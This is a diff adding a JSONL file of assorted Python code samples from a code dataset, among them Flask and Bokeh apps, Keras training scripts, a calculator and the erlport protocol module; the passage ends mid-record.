diff --git "a/342.jsonl" "b/342.jsonl" new file mode 100644--- /dev/null +++ "b/342.jsonl" @@ -0,0 +1,620 @@ +{"seq_id":"234678235","text":"from flask import redirect, url_for, render_template, request, session, jsonify, json\n\nfrom ..security import login_required, current_user\nfrom ..connection import *\n\n# blueprint definition\nfrom . import admin_hydra\n\n@admin_hydra.route('/admin_hydra')\n@login_required\ndef main():\n \n items = ['project', 'network']\n tables = {item: {'name': item.title()+'s'} for item in items}\n\n return render_template('admin-hydra.html', tables=tables)\n\n@admin_hydra.route('/_get_fields', methods=['GET'])\n@login_required\ndef _get_fields():\n \n table = request.args.get('table')\n \n fields = {\n 'project': {\n 'id': {'key': 'true', 'list': 'true'},\n 'name': {'title': 'Name', 'width': '20%'},\n 'description': {'title': 'Description', 'width': '40%'}\n }\n }\n if table in fields:\n return jsonify(error=0, fields=fields[table])\n else:\n return jsonify(error=1, fields=None)\n\n@admin_hydra.route('/_get_items', methods=['POST'])\n@login_required\ndef _get_items():\n table = request.args.get('table')\n command = 'get_{}s'.format(table)\n result = g.conn.call(command, {})\n return jsonify(result=result)\n\n@admin_hydra.route('/_add_item', methods=['POST'])\n@login_required\ndef _add_item(): \n item = request.args.get('item')\n command = 'add_{}s'.format(table)\n result = g.conn.call(command, {})\n return jsonify(result=result)\n\n@admin_hydra.route('/_update_item', methods=['POST'])\n@login_required\ndef _upate_item():\n item = request.args.get('item')\n command = 'update_{}s'.format(table)\n result = g.conn.call(command, {})\n return jsonify(result=result)\n\n@admin_hydra.route('/_delete_item', methods=['POST'])\n@login_required\ndef _delete_item():\n item = request.args.get('item')\n command = 'purge_{}s'.format(table)\n result = g.conn.call(command, {})\n return jsonify(result=result)\n\n","sub_path":"openagua/admin_hydra/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"371198646","text":"n = int(input())\n\nstar = [[\"*\" for _ in range(n)] for _ in range(n)]\n\n\ndef recursive(s_i, s_j, k): # start i, start j\n if k == 0:\n return\n for i in range(s_i+(k//3), s_i+((k//3)*2)):\n for j in range(s_j+(k//3), s_j+((k//3)*2)):\n star[i][j] = ' '\n\n recursive(s_i, s_j, k//3)\n recursive(s_i, s_j+(k//3), k//3)\n recursive(s_i, s_j+((k//3)*2), k//3)\n recursive(s_i+(k//3), s_j, k//3)\n recursive(s_i+((k//3)*2), s_j, k//3)\n # recursive(s_i+(k//3), s_j+(k//3), k//3)\n recursive(s_i+((k//3)*2), s_j+(k//3), k//3)\n recursive(s_i+(k//3), s_j+((k//3)*2), k//3)\n recursive(s_i+((k//3)*2), s_j+((k//3)*2), k//3)\n\n\nrecursive(0, 0, n)\n\nfor i in range(n):\n for j in range(n):\n print(star[i][j], end='')\n print()\n","sub_path":"hyunjung/week4/BOJ_2447번(별찍기10).py","file_name":"BOJ_2447번(별찍기10).py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"325128649","text":"# Simple Calculator -> +,-,*,/\n# Date: 2015/07/19\n# Created by: Jiwon Yoo\n\n# Implement Functions\ndef addition(num1, num2):\n\tprint(num1, \"+\", num2, \"=\", num1+num2)\n\ndef subraction(num1, num2):\t\n\tprint(num1, \"-\", num2, \"=\", num1-num2)\n\ndef multiplication(num1, num2):\n\tprint(num1, \"*\", num2, \"=\", num1*num2)\n\ndef division(num1, num2):\n\tprint(num1, \"/\", num2, \"=\", \"{:.2f}\".format(num1/num2))\t\n\t\ndef exit_game(choice):\n\tif choice != \"Y\":\n\t\treturn True\n\n# list of available menu selection\nselection = [1,2,3,4]\n\nwhile True:\n\t# display menu\n\tprint(\"------SIMPLE CALCULATOR------\")\n\tprint(\"1. Addition\")\n\tprint(\"2. Subtraction\")\n\tprint(\"3. Multiplication\")\n\tprint(\"4. Division\")\n\tmenu = int(input(\"Select one: \"))\n\n\t# input validation: select numbers between 1 and 4\n\twhile menu not in selection: \n\t\tmenu = int(input(\"Select one: \"))\n\n\t# get two numbers from the user\n\tfirst = int(input(\"Enter first number: \"))\n\tsecond = int(input(\"Enter second number: \"))\n\n\t# perform calculation based on the selction\n\tif menu == 1: # Addition\n\t\taddition(first, second)\n\telif menu == 2: # Subtraction\n\t\tsubraction(first, second)\n\telif menu == 3: # Multiplication\n\t\tmultiplication(first, second)\n\telif menu == 4: # Division\n\t\tdivision(first, second)\n\n\t# prompt the user to continue or not\n\tchoice = input(\"Do more calculation? (y/n): \")\n\twhile choice.capitalize() != 'Y' and choice.capitalize() != 'N':\n\t\tchoice = input(\"Please enter y or n: \")\n\n\t# The user entered 'N', therefore exit the game\n\tif exit_game(choice.capitalize()):\n\t\tprint(\"Bye-bye\")\n\t\tbreak\n\n\tprint(\"\\n\\n\")\n","sub_path":"Python/0.Calculator/calculatorV2.py","file_name":"calculatorV2.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"445495500","text":"import Network.housekeeping\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.preprocessing import image_dataset_from_directory\nfrom tensorflow.keras.applications import ResNet50\nfrom tensorflow.keras.layers import AveragePooling2D, Dropout, Flatten, Dense, Input, GlobalAveragePooling2D, BatchNormalization\nfrom tensorflow.keras.applications.inception_v3 import preprocess_input\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.callbacks import ReduceLROnPlateau, EarlyStopping\nfrom tensorflow.keras.optimizers import Adam, SGD, RMSprop\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.callbacks import LearningRateScheduler\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom imutils import paths\nfrom keras_vggface.vggface import VGGFace\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nimport cv2\nimport os\nimport time\nimport datetime\n\n# Construct argument parser to parse console arguments\nargparser = argparse.ArgumentParser()\nargparser.add_argument(\"-lr\", \"--learning\", required=False, type=float, default=1e-3, help=\"Learning rate for model training. Default value of 1e-3\")\nargparser.add_argument(\"-e\", \"--epochs\", required=False, default=100, help=\"Number of epochs for training. Default value of 100 epochs\")\nargparser.add_argument(\"-bs\", \"--batch\", required=False, default=32, help=\"Batch size used in model training. Default value of 32\")\nargparser.add_argument(\"-n\", \"--classes\", required=False, default=7, help=\"Number of classes within training and validation directories\")\nargparser.add_argument(\"-t\", \"--train\", required=False, default=\"datasets/fer2013/data\", help=\"Directory for dataset\")\nargparser.add_argument(\"-he\", \"--height\", required=False, default=224, help=\"Height of images used within training\")\nargparser.add_argument(\"-w\", \"--width\", required=False, default=224, help=\"Width of images used within training\")\narguments = vars(argparser.parse_args())\n\nINIT_LR = (arguments[\"learning\"])\nEPOCHS = int(arguments[\"epochs\"])\nBS = int(arguments[\"batch\"])\nNUM_CLASSES = int(arguments[\"classes\"])\nTRAIN_DIR = arguments[\"train\"]\nHEIGHT = int(arguments[\"height\"])\nWIDTH = int(arguments[\"width\"])\nIMAGE_SIZE = (int(arguments[\"height\"]), int(arguments[\"width\"]))\n\nprint(\"\\n[INFO] Creating Datasets...\")\nprint(\"\\nTraining:\")\ntrain_datagen = ImageDataGenerator(dtype='float32',\n rotation_range=40,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n validation_split=0.2,\n preprocessing_function=preprocess_input\n)\n\ntrain_ds = train_datagen.flow_from_directory(TRAIN_DIR,\n class_mode=\"categorical\",\n batch_size=BS,\n target_size=IMAGE_SIZE,\n subset=\"training\")\n\nprint(\"\\nValidation:\")\nval_datagen = ImageDataGenerator(dtype='float32',\n validation_split=0.2,\n preprocessing_function=preprocess_input)\n\nvalidation_ds = val_datagen.flow_from_directory(TRAIN_DIR,\n class_mode=\"categorical\",\n batch_size=BS,\n target_size=IMAGE_SIZE,\n subset=\"validation\")\n\nprint(\"\\n[INFO] Creating Model...\")\nbaseModel = VGGFace(model='vgg16', include_top=False, weights=\"vggface\", input_shape=(224,224,3))\nheadModel = baseModel.output\n#headModel = AveragePooling2D(pool_size=(7,7))(headModel)\nheadModel = Flatten()(headModel)\nheadModel = Dense(2048, activation=\"relu\")(headModel)\nheadModel = Dense(1024, activation=\"relu\")(headModel)\npredictions = Dense(7, activation=\"softmax\")(headModel)\nmodel = Model(inputs=baseModel.input, outputs=predictions)\nprint(\"\\n[INFO] Model Ready For Compiling\")\n\nfor layer in baseModel.layers:\n layer.trainable = False\n\nprint(\"\\n[INFO] Compiling Upper Layers\")\nopt = Adam(lr = 1e-3, beta_1 = 0.9, beta_2 = 0.999, epsilon = 1e-08, decay = 0.0)\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\nprint(\"\\n[INFO] Upper Layers Training In Progress...\")\nH = model.fit(train_ds, validation_data = validation_ds, epochs=10, verbose=1)\n\nfor layer in model.layers:\n layer.trainable = True\n\nprint(\"\\n[INFO] Compiling Model...\")\nopt = SGD(lr = 1e-4, momentum = 0.9, decay = 0.0, nesterov = True)\n\nreduce_lr = ReduceLROnPlateau(\nmonitor \t= 'val_loss',\n\tfactor\t\t= 0.4,\n\tpatience\t= 5,\n\tmode \t\t= 'auto',\n\tmin_lr\t\t= 1e-6)\n\nearly_stop = EarlyStopping(\n\tmonitor \t= 'val_loss',\n\tpatience \t= 20,\n\tmode \t\t= 'auto')\n\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n\nprint(\"\\n[INFO] Model Training In Progress...\")\nstart = time.perf_counter()\nH = model.fit(train_ds, validation_data = validation_ds, callbacks=[reduce_lr, early_stop], epochs=EPOCHS, verbose=1)\nend = time.perf_counter()\nprint(f\"\\n[INFO] Model Training Completed Successfully In {end-start}s\")\n\nprint(\"\\n[INFO] Saving Model to Models/vgg16_\"+ datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\") +\".model\")\nfilename = \"vgg16_\"+ datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\") +\".model\"\nmodel.save(\"Models/\"+filename, save_format=\"h5\")\n\nprint(f\"\\n[INFO] Updating Configuration File. Please do not delete any data not added to the file by you\")\nfile = open(\"Utilities/model_config.txt\", \"a\")\nsentence = \"\\n\" + filename + \" \" + str(HEIGHT) + \" \" + str(WIDTH) + \" \" + str(NUM_CLASSES) + \" \" + \" \".join(list(train_ds.class_indices.keys()))\nfile.write(sentence)\nfile.close()\n\n","sub_path":"train_vgg16.py","file_name":"train_vgg16.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"368452170","text":"'''\nThis script is loosely based on the bokeh spectogram example,\nbut is much simpler:\n\n https://github.com/bokeh/bokeh/tree/master/examples/embed/spectrogram\n\nThis creates a simple form for generating polynomials of the form y = x^2.\n\nThis is done using a form that has a method of GET, allowing you to share the\ngraphs you create with your friends though the link!\n\nYou should know at least the basics of Flask to understand this example\n'''\n\n\nimport sys\nsys.path.append(\"/home/ubuntu/miniconda/pkgs\")\n\nimport flask\n\nimport os\nimport pandas as pd\nimport numpy as np\nfrom bokeh.plotting import figure, output_file, show\nfrom bokeh.palettes import brewer\nfrom bokeh.embed import components\nfrom bokeh.resources import INLINE\nfrom bokeh.templates import RESOURCES\nfrom bokeh.util.string import encode_utf8\n\n\napp = flask.Flask(__name__)\n\n\n@app.route(\"/\")\ndef polynomial():\n\n palette = brewer[\"Spectral\"]\n\n df = pd.read_csv('data/state_populations.csv', header=0, skip_blank_lines=1)\n\n df = df[(df.Model_id == 0)]\n df = df.drop('Model_id', axis=1, level=None, inplace=False)\n df = df.drop('Id', axis=1, level=None, inplace=False)\n\n\n # create a new plot\n fig = figure(\n tools=\"pan,box_zoom,reset,save\",\n title=\"state populations\",\n x_axis_label='cycles', y_axis_label='number of people'\n )\n\n state_ids = [ 0 , 1, 2, 3, 4, 5, 6, 7, 8, 9]\n x = []\n y = []\n state_names =[ \"Unitialized1\", \"Unitialized2\", \"No NAFLD\", \"Steatosis\", \"NASH\", \"Cirrhosis\", \"HCC\", \"Liver death\", \"Natural death\", \"Other death\" ]\n\n\n for i in state_ids:\n x.append(df[df.State_id == i].Cycle_id)\n y.append(df[df.State_id == i].Population)\n fig.line(x[i], y[i], legend=state_names[i], color=palette[10][i], line_width=3) \n\n\n # Get all the form arguments in the url with defaults\n color = \"Black\"\n\n\n # Configure resources to include BokehJS inline in the document.\n # For more details see:\n # http://bokeh.pydata.org/en/latest/docs/reference/resources_embedding.html#module-bokeh.resources\n plot_resources = RESOURCES.render(\n js_raw=INLINE.js_raw,\n css_raw=INLINE.css_raw,\n js_files=INLINE.js_files,\n css_files=INLINE.css_files,\n )\n\n # For more details see:\n # http://bokeh.pydata.org/en/latest/docs/user_guide/embedding.html#components\n script, div = components(fig, INLINE)\n html = flask.render_template(\n 'embed.html',\n plot_script=script, plot_div=div, plot_resources=plot_resources,\n color=color\n )\n return encode_utf8(html)\n\n\ndef main():\n app.debug = True\n app.run()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"191561410","text":"import codecs\nimport datetime\nimport logging\nimport os\nimport re\n\nimport yamldown as yamldown\nfrom indic_transliteration import xsanscript\nimport pandas\n\n# Remove all handlers associated with the root logger object.\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s\"\n)\n\nFIELD_TYPE_MARKDOWN_SECTION = \"markdown_section\"\n\n\ndef date_format_converter_us_to_yyyy_mm_dd(date_str):\n date_in = datetime.datetime.strptime(date_str, \"%m/%d/%Y\")\n return datetime.datetime.strftime(date_in, \"%Y-%m-%d\")\n\ndef convert(csv_in, out_dir, field_type_map, file_namer, date_format_converter=None):\n df = pandas.read_csv(csv_in)\n # logging.info(df)\n for (_, row) in df.iterrows():\n out_file = os.path.join(out_dir, file_namer(row))\n logging.info(\"Creating {}\".format(out_file))\n # logging.debug(row[\"विवरणम्\"])\n yml = {}\n md = \"\"\n for column in [column for column in df.columns if not pandas.isna(row[column])]:\n if column not in field_type_map:\n yml[column] = row[column].strip()\n else:\n if field_type_map[column] == list:\n yml[column] = [x.strip() for x in row[column].split(\",\")]\n elif field_type_map[column] == FIELD_TYPE_MARKDOWN_SECTION:\n md = md + \"\\n## {}\\n{}\\n\\n\".format(column, row[column])\n elif field_type_map[column] == datetime.date and date_format_converter is not None:\n yml[column] = date_format_converter(row[column].strip())\n else:\n yml[column] = row[column].strip()\n # logging.debug(yml)\n # logging.debug(yaml.dump(yml, allow_unicode=True))\n # logging.debug(yamldown.dump(yml, md))\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n with codecs.open(out_file, \"w\", 'utf-8') as out_file_obj:\n out_file_obj.write(yamldown.dump(yml, md))\n\n\n\nif __name__ == '__main__':\n def file_namer(row):\n # logging.debug(row['प्रारम्भः'])\n post_date = date_format_converter_us_to_yyyy_mm_dd(row['प्रारम्भः'])\n file_name = xsanscript.transliterate(row['लिङ्गम्'].strip(), xsanscript.DEVANAGARI, xsanscript.OPTITRANS)\n file_name = post_date + \"_\" + re.sub(\"[^a-zA-Z0-9\\-_]\", \"_\", file_name) + \".md\"\n return file_name\n\n convert(\n csv_in=\"/home/vvasuki/Downloads/shruta-kathAH.csv\",\n out_dir=\"/home/vvasuki/vvasuki-git/rahashtippanyah/content/sva-kathAH\",\n field_type_map={\n 'सूत्रम्': str,\n 'विवरणम्': FIELD_TYPE_MARKDOWN_SECTION\n }, file_namer=file_namer, date_format_converter=date_format_converter_us_to_yyyy_mm_dd)","sub_path":"doc_curation/csv_to_yaml_md.py","file_name":"csv_to_yaml_md.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"585135538","text":"import torch\nimport glob\n\nimport binary_models\nimport binary_preprocessing\n\nfrom torch.utils.data import DataLoader\n\nimport pandas as pd\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nbase_model = binary_models.AlexNet()\nbase_model.to(device)\nsave_folder = \"./models/AlexNet_\"\nmodel_state_dicts = glob.glob(save_folder + \"*.pt\")\n\n\nIM_PATH = \"./train_images/\"\nDATA_PATH = \"meta_data.csv\"\n\naccuracy_folder = \"acc_data/\"\n\ndf = binary_preprocessing.binary_data(IM_PATH, DATA_PATH, validation = True)\ndf_loader = DataLoader(df, batch_size = 32, shuffle = True,\n\t\t\t\t\t\t\tnum_workers = 0)\n\nthreshold_list = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]\n\ndef gen_pred_probabilities(model, data_loader, model_path):\n\t#Should return list of predicted probabilities\n\n\tmodel.load_state_dict(torch.load(model_path))\n\n\tall_predictions = []\n\tall_targets = []\n\n\n\twith torch.no_grad():\n\n\t\tfor i, (X, target) in enumerate(data_loader):\n\n\t\t\toutput = model(X)\n\n\t\t\tall_predictions += [x[0].item() for x in output]\n\n\t\t\tall_targets += [int(x[0].item()) for x in target]\n\n\t\t\t#if i == 2:\n\t\t\t#\tbreak\n\n\treturn all_predictions, all_targets\n\ndef prob_to_prediction(probas, threshold):\n\t#Converts output probabilities of the model to prediction\n\n\tpredictions = []\n\n\tfor x in probas:\n\n\t\tif x>threshold:\n\t\t\tpredictions.append(1)\n\t\telse:\n\t\t\tpredictions.append(0)\n\n\treturn predictions\n\n\ndef prediction_to_accuracy(prediction, target):\n\n\tcorrect_pred = 0\n\ttotal = len(prediction)\n\n\tfor predicted, correct in zip(prediction,target):\n\t\tif predicted == correct:\n\t\t\tcorrect_pred +=1\n\n\taccuracy = correct_pred/total\n\treturn accuracy\n\n\n\n\ndef full_eval(model,model_dicts, data_loader, threshold_list, acc_folder):\n\n\tfor model_state_path in model_dicts:\n\n\t\tpreds, target = gen_pred_probabilities(model, data_loader, model_state_path)\n\n\t\tmodel_data = []\n\n\n\t\tprint(model_state_path)\n\n\t\tfor threshold in threshold_list:\n\n\t\t\tprediction = prob_to_prediction(preds, threshold)\n\t\t\tmodel_accuracy = prediction_to_accuracy(prediction, target)\n\n\t\t\tmodel_data.append([threshold, model_accuracy])\n\n\n\t\tmodel_epoch = model_state_path[-4]\n\n\t\ttry:\n\t\t\tmodel_epoch_1 = int(model_state_path[-5])\n\n\t\t\tmodel_epoch = str(model_epoch_1) + model_epoch\n\n\t\texcept ValueError:\n\t\t\tpass\n\n\n\t\tsave_name_accuracy = acc_folder + model.name + \"_\" + model_epoch + \"_accuracy\" \".csv\"\n\n\t\tdf = pd.DataFrame(model_data, columns = [\"Threshold\", \"Accuracy\"])\n\t\tdf.to_csv(save_name_accuracy)\n\t\tprint(\"SAVED\")\n\n\nprint(model_state_dicts[0])\n\nfull_eval(model = base_model, model_dicts = model_state_dicts,\n \t\tdata_loader = df_loader, threshold_list = threshold_list,\n\t\tacc_folder = \"acc_data/\")\n","sub_path":"binary_testing.py","file_name":"binary_testing.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"391892282","text":"# Copyright (c) 2009-2015, Dmitry Vasiliev \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# \n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of the copyright holders nor the names of its\n# contributors may be used to endorse or promote products derived from this\n# software without specific prior written permission. \n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n\"\"\"Erlang port protocol.\"\"\"\n\n__author__ = \"Dmitry Vasiliev \"\n\nimport os\nimport errno\nfrom struct import Struct\nfrom threading import Lock\n\nfrom erlport.erlterms import encode, decode\n\n\nclass Port(object):\n \"\"\"Erlang port.\"\"\"\n\n _formats = {\n 1: Struct(b\"B\"),\n 2: Struct(b\">H\"),\n 4: Struct(b\">I\"),\n }\n\n def __init__(self, packet=4, use_stdio=True, compressed=False,\n descriptors=None, buffer_size=65536):\n if buffer_size < 1:\n raise ValueError(\"invalid buffer size value: %s\" % (buffer_size,))\n struct = self._formats.get(packet)\n if struct is None:\n raise ValueError(\"invalid packet size value: %s\" % (packet,))\n self.__pack = struct.pack\n self.__unpack = struct.unpack\n self.packet = packet\n self.compressed = compressed\n\n if descriptors is not None:\n self.in_d, self.out_d = descriptors\n elif use_stdio:\n self.in_d, self.out_d = 0, 1\n else:\n self.in_d, self.out_d = 3, 4\n\n self.__buffer = b\"\"\n self.buffer_size = buffer_size\n self.__read_lock = Lock()\n self.__write_lock = Lock()\n\n def _read_data(self):\n try:\n buf = os.read(self.in_d, self.buffer_size)\n except OSError as why:\n if why.errno in (errno.EPIPE, errno.EINVAL):\n raise EOFError()\n raise\n if not buf:\n raise EOFError()\n return buf\n\n def read(self):\n \"\"\"Read incoming message.\"\"\"\n packet = self.packet\n with self.__read_lock:\n buffer = self.__buffer\n while len(buffer) < packet:\n buffer += self._read_data()\n length = self.__unpack(buffer[:packet])[0] + packet\n while len(buffer) < length:\n buffer += self._read_data()\n term, self.__buffer = decode(buffer[packet:])\n return term\n\n def write(self, message):\n \"\"\"Write outgoing message.\"\"\"\n data = encode(message, compressed=self.compressed)\n length = len(data)\n data = self.__pack(length) + data\n with self.__write_lock:\n while data:\n try:\n n = os.write(self.out_d, data)\n except OSError as why:\n if why.errno in (errno.EPIPE, errno.EINVAL):\n raise EOFError()\n raise\n if not n:\n raise EOFError()\n data = data[n:]\n return length + self.packet\n\n def close(self):\n \"\"\"Close port.\"\"\"\n os.close(self.in_d)\n os.close(self.out_d)\n","sub_path":"priv/python3/erlport/erlproto.py","file_name":"erlproto.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"528401498","text":"import math\r\n\r\ndef vectorSum(v, u):\r\n if (len(v) != 0) & (len(v) == len(u)):\r\n i = 0\r\n ans = []\r\n while i < len(v):\r\n ans.append(v[i] + u[i])\r\n i = i + 1\r\n return ans\r\n return \"Dimensional Error\"\r\n\r\ndef innerProduct(v, u):\r\n if (len(v) != 0) & (len(v) == len(u)):\r\n i = 0\r\n sum = 0\r\n while i < len(v):\r\n sum = sum + v[i] * u[i]\r\n i = i + 1\r\n return sum\r\n return \"Dimensional Error\"\r\n\r\ndef length(v):\r\n if len(v) == 0:\r\n return \"Dimensional Error\"\r\n sum = 0\r\n for i in v:\r\n sum = sum + i ** 2\r\n return math.sqrt(sum)\r\n\r\ndef scalar(v, a):\r\n if len(v) == 0:\r\n return \"Dimensional Error\"\r\n result = []\r\n for i in v:\r\n result.append(a * i)\r\n return result\r\n","sub_path":"Python/hw3/VectorCal.py","file_name":"VectorCal.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"187001871","text":"import tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nimport pickle\r\nimport random\r\nimport numpy as np\r\nimport csv\r\n\r\ndef loadcsv(filename):\r\n with open(filename, newline='') as f: \r\n return list(csv.reader(f))\r\n\r\ndef savecsv(filename, list):\r\n with open(filename, \"w\", newline=\"\") as f:\r\n csv.writer(f).writerows(list)\r\n\r\ndef init(embeddedfile=\"embedded_100%_2000.p\", binarylabelsfile=\"binarylabels.p\"):\r\n print(\"Initializing model based on \" + embeddedfile + \", \" + binarylabelsfile)\r\n # load the input\r\n with open(embeddedfile, \"rb\") as f:\r\n data = np.array(pickle.load(f))\r\n with open(binarylabelsfile, \"rb\") as g:\r\n label = np.array(pickle.load(g))\r\n \r\n # set up the model\r\n model = keras.Sequential()\r\n model.add(keras.Input(shape=(len(data[0]),)))\r\n model.add(layers.Dense(1200, activation=\"relu\"))\r\n model.add(layers.Dense(800, name=\"last_hidden\", activation=\"relu\"))\r\n model.add(layers.Dense(len(label[0]), activation=\"sigmoid\")) # can't do softmax because it's multilabel\r\n model.summary()\r\n\r\n return data, label, model\r\n\r\ntrain_ratio = 0.75\r\nval_ratio = 0.10\r\ntest_ratio = 0.15\r\n\r\nbatch_size = 64\r\n\r\nclass DataGenerator(keras.utils.Sequence):\r\n def __init__(self, data, label, size, batch_size=64):\r\n self.batch_size = batch_size\r\n self.data = data\r\n self.size = size\r\n self.label = label\r\n \r\n def on_epoch_end(self):\r\n shuf = np.arange(self.size)\r\n np.random.shuffle(shuf)\r\n self.data = self.data[shuf, :]\r\n self.label = self.label[shuf, :]\r\n \r\n def __len__(self):\r\n return int(np.floor((self.size)/self.batch_size))\r\n \r\n def __getitem__(self, index):\r\n if self.size < (index+1)*self.batch_size:\r\n return (self.data[index*self.batch_size : ],\r\n self.label[index*self.batch_size : ])\r\n else:\r\n return (self.data[index*self.batch_size : (index+1)*batch_size],\r\n self.label[index*self.batch_size : (index+1)*batch_size])\r\n\r\ndef split_data(ogdata, label):\r\n print(\"Splitting data...\")\r\n data = ogdata.copy()\r\n s1 = int(train_ratio*len(data))\r\n s2 = int((train_ratio + val_ratio)*len(data))\r\n # initial shuffle the data and labels\r\n shuf = np.arange(len(data))\r\n np.random.shuffle(shuf)\r\n data = data[shuf, :]\r\n label = label[shuf, :]\r\n gen_train = DataGenerator(data[:s1], label[:s1], s1, batch_size)\r\n data_val = data[s1:s2] # no generator support for validation :(\r\n label_val = label[s1:s2]\r\n data_test = data[s2:]\r\n label_test = label[s2:]\r\n return gen_train, data_val, label_val, data_test, label_test\r\n\r\ndef train(model, gen_train, data_val, label_val):\r\n print(\"Training model...\")\r\n model.compile(\r\n optimizer=keras.optimizers.Adam(learning_rate=0.00001),\r\n loss=keras.losses.BinaryCrossentropy(),\r\n metrics=[keras.metrics.BinaryCrossentropy()],\r\n )\r\n hist = model.fit(\r\n gen_train,\r\n # data_train,\r\n # label_train,\r\n batch_size=batch_size,\r\n epochs=40, # technically I should run this until validation accuracy peaks but I don't know how long things take yet\r\n validation_data=(data_val, label_val),\r\n use_multiprocessing=True,\r\n )\r\n\r\ndef predict(model, gen_test):\r\n print(\"Predicting data...\")\r\n pred = model.predict(\r\n gen_test,\r\n batch_size=batch_size,\r\n use_multiprocessing=True,\r\n )\r\n return pred\r\n\r\ndef score(true, pred):\r\n # using the same scoring method as in jiannatags.py\r\n correct = 0\r\n falseneg = 0\r\n falsepos = 0\r\n for i in range(len(true)):\r\n for j in range(len(true[i])):\r\n # if true[i][j] == pred[i][j]:\r\n if true[i][j] == (pred[i][j] >= 0.5): # sigmoid woohoo\r\n correct += 1\r\n else:\r\n if true[i][j] > pred[i][j]:\r\n falseneg += 1\r\n else:\r\n falsepos += 1\r\n \r\n print(\"Correct Rate \" + str(correct/len(true)) + '\\n')\r\n print(\"False Negative Rate \" + str(falseneg/len(true)) + '\\n')\r\n print(\"False Positive Rate \" + str(falsepos/len(true)) + '\\n')\r\n\r\ndef feature_extract(model, data):\r\n # get the output of the last layer before the sigmoid\r\n extractor = keras.Model(inputs=model.input, outputs=model.get_layer('last_hidden').output)\r\n sz = len(data)\r\n for i in range(20):\r\n s = int(i*sz/20)\r\n e = sz if i == 19 else int((i+1)*sz/20)\r\n features = extractor(data[s:e])\r\n with open(\"features_doc2vec\"+str(i)+\".p\", \"wb\") as f:\r\n pickle.dump(features, f)\r\n\r\nif __name__ == \"__main__\":\r\n data, label, model = init()\r\n gen_train, data_val, label_val, data_test, label_test = split_data(data, label)\r\n train(model, gen_train, data_val, label_val)\r\n pred = predict(model, data_test)\r\n score(label_test, pred)\r\n\r\n feature_extract(model, data)\r\n\r\n # save some outputs\r\n savecsv(\"true_1200_800_40.csv\", label_test)\r\n savecsv(\"pred_1200_800_40.csv\", pred)\r\n model.save(\"model_1200_800_40.h5\")\r\n","sub_path":"Arun/doc2vec/nn_fe.py","file_name":"nn_fe.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"102130879","text":"import os\nfrom 